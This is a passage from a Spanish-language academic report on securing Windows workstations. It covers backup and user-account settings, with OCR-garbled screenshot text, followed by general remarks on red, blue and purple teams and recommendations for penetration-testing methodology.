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Paso 5: Generar copias de seguridad.

Figura 51. Copia de seguridad.

Copia de seguridad

Hacer copias de seguridad de los archivos en

OneDrive
Los archivos se guardaran en OneD) se protegeran y podras obtener
acceso a ellos desde cualquier disp:

Iniciar sesion en OneDrive

s

Copia de seguridad con Historial de archivos

staurales si los originales se han perdido, estan dafiados o se han

eliminado.
Agregar una unidad
+
M4s opciones
iBuscas una copia de seguridad anterior?

rridad mediante la herramien
Windows 7, todavfa funciona

una copia de st
y restauracion

Ir a Copia de seguridad y Restaurar (Windows 7)

Fuente: Propia.

Es importante siempre contar con una copia de seguridad ya que, si el equipo es
infectado, sufre un dafio fisico o la informacién es eliminada. Se contara con un
respaldo de esta. Windows tiene la facilidad de realizar estas copias por medio de

OneDrive o agregar un disco externo para realizar las copias.
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Paso 6: Cuentas de usuario.

Figura 52. Cuentas de usuario.

& Configuracién - x
G Inicio Familia y otros usuarios

Buscar una configuracion » | Tu familia
Cuentas Inicia sesién con una cuenta de Microsoft para ver a tu familia agui o

para agregar nuevos miembros a tu familia. Los miembros de tu familia
obtienen su propio inicio de sesién y escritorio. Puedes ayudar a
proteger a los menores al establecer sitios web adecuados, limites de
tiempo, aplicacicnes y juegos

A= Tuinformacion

- Iniciar sesién con una cuenta de Microsoft
1 Correo electrénico y cuentas

@, Opciones de inicio de sesién Otros usuarios
Obtener acceso a trabajo o escuela Permite que las personas que no forman parte de tu familia inicien
sesion con sus propias cuentas. Esto no las agregaré a tu familia

| A Familiay otros usuarios

4 | Agregar otra persona a este equipo

Q

Sincronizar la configuracién

R Administrator

Administrador - Cuenta local

R UserUNAD
Cuenta local

Cambiar el tipo de cuenta Quitar

Fuente: Propia.

Es importante configurar los perfiles de las cuentas de usuario, esto con el fin de
dar los permisos necesarios a los usuario y evitar que instalen o ejecuten algun
software malicioso.

Adicionales:

¢ Implementacion de BitLocker.

e Politica de cambio de contrasefias de forma periédica.

e Crear punto de restauracion.

e Capacitacion a personal de la organizacion sobre la importancia de la
ciberseguridad.

¢ Implementacion de IPS y IDS para el monitoreo en tiempo real de
amenazas Yy vulnerabilidades.

e Bloqueo de puertos (USB) en los usuarios finales.

¢ Implementacion y mejora de control de acceso ( logicos, fisicos).

e Establecer reglas de conexion para los distintos puertos.
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De qué manera pueden aportar en el campo de la ciberseguridad la integracion
de equipos blue team, red team y purple team al mismo tiempo dentro de una
organizacion.

El Purple Team es el encargado del fortalecimiento de las labores de los dos
equipos mencionados con anterioridad, esto con el fin de tener objetivos en comun
y a su vez mejorar la comunicacion y labores conjuntas del Blue Team y Red Team,
esta labor que hace el Purple Team es fundamental para cada proceso de la
organizacion ya que, si todos los equipos trabajan en conjunto, la ciberseguridad
dentro de las organizaciones no se vera afectada.
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CONCLUSIONES

Teniendo en cuenta el desarrollo de cada una de las etapas propuestas durante el
semanario, se logra concluir la importancia de cada uno de los equipos involucrados
en la ciberseguridad de una organizacion, estos son el Red Team, Blue Team y
Purple Team. Cada uno de ellos cumple una labor fundamental para garantizar la
seguridad de la informacion y a su vez velar por el funcionamiento éptimo de
servicios, procesos de la organizacion en cuestion, por eso es de gran importacion
la inversion, innovacion de nuevas tecnologias.

Por otro lado, la alta gerencia debe estar involucrada en la creacion de politicas de
seguridad ya que respecto a las necesidades que tienen y con la infraestructura
actual. De ahi parte el Blue Team para generar un plan o estrategia para el
aseguramiento de la informacion, infraestructura, servicios y procesos de la
organizacion.

Se puede concluir que la implementacién del disefio para la ejecucion de las
pruebas de intrusion permite al Red Team y cualquier especialista que sea contrata
por alguna de las organizaciones en cuestion, tener un manual o metodologia el
cual permitira hacer pruebas de calidad, las cuales conllevan a la entrega de
informes de calidad lo cual dara parte de tranquilidad a las partes involucradas. Por
otro lado, la implementacion y disefio de las pruebas de intrusion, es fundamental
que las haga personal especialista en este tipo de ejecuciones, se debe de tener
como referencia la metodologia planteada con anterioridad para garantizar la
operatividad de procesos y servicios de la organizacion.
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RECOMENDACIONES

Realizar analisis de vulnerabilidades, haciendo uso de herramientas de
deteccion de vulnerabilidades las cuales tengan alta confiabilidad, evitado
alguna afectacion en la organizacion a intervenir. Por otro lado, el uso de
estas herramientas por el Red Team, se recomienda realizarlas en un
ambiente controlado antes de realizar las pruebas de penetracion.

Realizar pruebas de intrusion, es recomendable hacer uso de pruebas de
caja gris, este tipo de pruebas permiten a la organizacion hacer entrega
de informacidn, pero no de toda asi logrando tener confidencialidad y por
otro lado permite al especialista ser mas creativo al momento de realizar
estas pruebas.

Definir estrategias, metodologias para la realizacién de pruebas de
intrusion esto con el fin de estandarizar cada proceso relacionado con la
seguridad de la informacion, garantizando la disponibilidad de esta y a
sus vez el funcionamiento 6ptimo de procesos y servicios dispuestos por
la organizacion que se va a intervenir.

Construir e implementar, formatos, guias de buenas précticas

relacionadas con ciberseguridad con el fin mitigar riesgos, amenazas y
demas aspectos relacionados.
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ANEXOS

Link video: https://www.youtube.com/watch?v=70ZztJyOVv8
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